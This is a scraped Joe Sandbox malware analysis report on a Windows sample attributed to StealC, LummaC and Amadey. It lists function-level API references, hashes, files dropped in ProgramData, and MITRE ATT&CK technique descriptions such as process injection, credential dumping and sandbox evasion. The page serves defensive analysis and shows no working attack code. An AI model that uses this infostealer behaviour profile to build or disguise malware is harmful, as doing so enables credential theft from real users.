Opcode Fuzzy Hash: 8f49ff496f11258a29707a2723d1089a8e4e301575e55aba5dbd785e46d3605e
Instruction Fuzzy Hash: 99F0E97D6096C2CBDA009B7CC850A957772D717228F080175CC0647F61DF31A906CEDB

Function 6CB49E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6CB49EEF

Strings

Infinity, xrefs: 6CB49EB7
NaN, xrefs: 6CB49EC1

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: 5ce486ffe2545c44a800a41a8309f1ce8bd189f208fce36d0bf39044a3448078
Instruction ID: 2b85e5db8b9a051d0c5c1c959b628521b60eb6e9d3e88c8d2d5177bc59ea9ec0
Opcode Fuzzy Hash: 5ce486ffe2545c44a800a41a8309f1ce8bd189f208fce36d0bf39044a3448078
Instruction Fuzzy Hash: 0CF0F07CA042E1CBDB00CF5CE94ABA43371F747318F244A99C5401BB40DF35664ACB8A

Function 6CB4BED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6CB4BEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6CB4BEF5

Strings

cryptbase.dll, xrefs: 6CB4BEF0

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: 66800c2fadbbff46d7c187569f454dda7d7e294cdbd541e4cce3eae74b2d6258
Instruction ID: d7f303b5ad38b62f515b6538ab082a8e63affa59498cab0fa735c03a608aaa13
Opcode Fuzzy Hash: 66800c2fadbbff46d7c187569f454dda7d7e294cdbd541e4cce3eae74b2d6258
Instruction Fuzzy Hash: C9D023311C4548F7C7006B608C05F2D3778E705325F10C820F30554C61CFB09410DF54

Function 6CB350E0 Relevance: 5.2, APIs: 4, Instructions: 213COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6CB34E9C,?,?,?,?,?), ref: 6CB3510A
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6CB34E9C,?,?,?,?,?), ref: 6CB35167
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?), ref: 6CB35196
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6CB34E9C), ref: 6CB35234

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction ID: 68725bda50b05e73f756ae66da72374270d69f217c386a44d544d14c0c20b207
Opcode Fuzzy Hash: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction Fuzzy Hash: F191B0759056A6CFCB14CF08C890A5ABBA1FF89318B28858CDC595B715D332FC86CBE1

Function 6CB708F0 Relevance: 5.2, APIs: 4, Instructions: 165COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CBBE7DC), ref: 6CB70918
LeaveCriticalSection.KERNEL32(6CBBE7DC), ref: 6CB709A6
EnterCriticalSection.KERNEL32(6CBBE7DC,?,00000000), ref: 6CB709F3
LeaveCriticalSection.KERNEL32(6CBBE7DC), ref: 6CB70ACB

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 744c29ba6db221c8b6b93ed4fde42d38cc4f6e719f1bd9792f485f24c11f1b2f
Instruction ID: 816c7ce09fe44aff9fcfd2b0f0e98438c14fe5d7983d331d2247d91d14db189b
Opcode Fuzzy Hash: 744c29ba6db221c8b6b93ed4fde42d38cc4f6e719f1bd9792f485f24c11f1b2f
Instruction Fuzzy Hash: 94514A367026D4CFEF149A69E84462A33A1EB81B24B24857BDC7597F90DF32E80187E5

Function 6CB8B5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6CB8B2C9,?,?,?,6CB8B127,?,?,?,?,?,?,?,?,?,6CB8AE52), ref: 6CB8B628

Part of subcall function 6CB890E0: free.MOZGLUE(?,00000000,?,?,6CB8DEDB), ref: 6CB890FF
Part of subcall function 6CB890E0: free.MOZGLUE(?,00000000,?,?,6CB8DEDB), ref: 6CB89108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6CB8B2C9,?,?,?,6CB8B127,?,?,?,?,?,?,?,?,?,6CB8AE52), ref: 6CB8B67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6CB8B2C9,?,?,?,6CB8B127,?,?,?,?,?,?,?,?,?,6CB8AE52), ref: 6CB8B708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6CB8B127,?,?,?,?,?,?,?,?), ref: 6CB8B74D

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 29e73a353e039ad1d6833216bfa1ff5ab214ae14899bb31d7d2142053e891d1e
Instruction ID: 75bb71f693042a2102501cfb5c77fd7756bf3421f23eecc52f0b46597448e183
Opcode Fuzzy Hash: 29e73a353e039ad1d6833216bfa1ff5ab214ae14899bb31d7d2142053e891d1e
Instruction Fuzzy Hash: BC51ECB5A023568FEF14CF28CD8066EB7B5FF85304F55852DC85AAB710DB31A804CBA2

Function 6CB8DF90 Relevance: 5.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6CB7FF2A), ref: 6CB8DFFD

Part of subcall function 6CB890E0: free.MOZGLUE(?,00000000,?,?,6CB8DEDB), ref: 6CB890FF
Part of subcall function 6CB890E0: free.MOZGLUE(?,00000000,?,?,6CB8DEDB), ref: 6CB89108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6CB7FF2A), ref: 6CB8E04A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6CB7FF2A), ref: 6CB8E0C0
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6CB7FF2A), ref: 6CB8E0FE

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 47b3515f7280777ef29d33db3dc533748b9cbbdfc5d9eeed031e3950d63b5a33
Instruction ID: 81ac13a89b7422166ed1abfa5aceeaa77aad1f4bac0ce6b71a8185f1132f5d16
Opcode Fuzzy Hash: 47b3515f7280777ef29d33db3dc533748b9cbbdfc5d9eeed031e3950d63b5a33
Instruction Fuzzy Hash: E141C1B9606286CFEB14CF68C88175E73BAEB46308F244939D516DB740E732E904CB92

Function 6CB86E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6CB86EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6CB86EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6CB86F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB86F5C

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: 5043653ecdeb1ce822de722220dfb084cf1726c39d78be9ae4cb84f71827033b
Instruction ID: b7e6953532dc6d4f4811081a7637dd3c647358c19bd28fcbf4135c04e495bddc
Opcode Fuzzy Hash: 5043653ecdeb1ce822de722220dfb084cf1726c39d78be9ae4cb84f71827033b
Instruction Fuzzy Hash: 4931E371A2160A8FDB04CF2CC981AAE73E9FF94305F508239D41AC7661EF31E659C7A1

Function 6CB9B580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6CB40A4D), ref: 6CB9B5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6CB40A4D), ref: 6CB9B623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6CB40A4D), ref: 6CB9B66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6CB40A4D), ref: 6CB9B67F

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: 0e01f9742d718b0d69fad1353fd53e06a654e87520711945b848b77c429db531
Instruction ID: 997f5ecb14fc7ab5e947879249b18e357fac2914e10f82a34d3279e4a8d07762
Opcode Fuzzy Hash: 0e01f9742d718b0d69fad1353fd53e06a654e87520711945b848b77c429db531
Instruction Fuzzy Hash: 3231D271A012168FDB20CF58C84465AFBBAFF82304F568679D80A9B211EB31F915CBA1

Function 6CB6F5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6CB6F611
memcpy.VCRUNTIME140(?,?,?), ref: 6CB6F623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6CB6F652
memcpy.VCRUNTIME140(?,?,?), ref: 6CB6F668

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: 23870691798a93146841c5dab337f22d2e7cdbd1c591befa27d89407cdc2b423
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: 7E312C71A00254AFC714CF5ADDC0A9F77F5EB84354B148539EA4A8BB04D632ED458B94

Function 6CB826B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB826C1
free.MOZGLUE(?), ref: 6CB826E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB826FF
free.MOZGLUE ref: 6CB8270D

Memory Dump Source

Source File: 00000000.00000002.2006144273.000000006CB31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB30000, based on PE: true

Associated: 00000000.00000002.2006111302.000000006CB30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006373000.000000006CBAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006432743.000000006CBBE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb30000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: c35380690b201a9ec413cc4fb102829b04d1ee58e563e5b5ea6f74e56ebf695c
Instruction ID: 7932b99f15a4dbe4a5ee322e7b0dc44fd24c36e12e850436b0d4171f5e6f1f01
Opcode Fuzzy Hash: c35380690b201a9ec413cc4fb102829b04d1ee58e563e5b5ea6f74e56ebf695c
Instruction Fuzzy Hash: C7F0A9B67022815BEB009E19D88495B73ADEF51259B540035FA1AD3B01E731F919C7A7

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AKKKFBGDHJKFHJJJJDGCBKFHJK

C:\ProgramData\CBFCBKKFBAEHJKEBKFCB

C:\ProgramData\DHIJDHIDBGHJKECBFIID

C:\ProgramData\GDBAKEGI

C:\ProgramData\IDBAFHDG

C:\ProgramData\IEBFIEBAFCBAAAAKJKJE

C:\ProgramData\JDGIIDHJEBGIDHJJDBKEHCAAAF

C:\ProgramData\freebl3.dll

Windows Analysis Report
file.exe

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
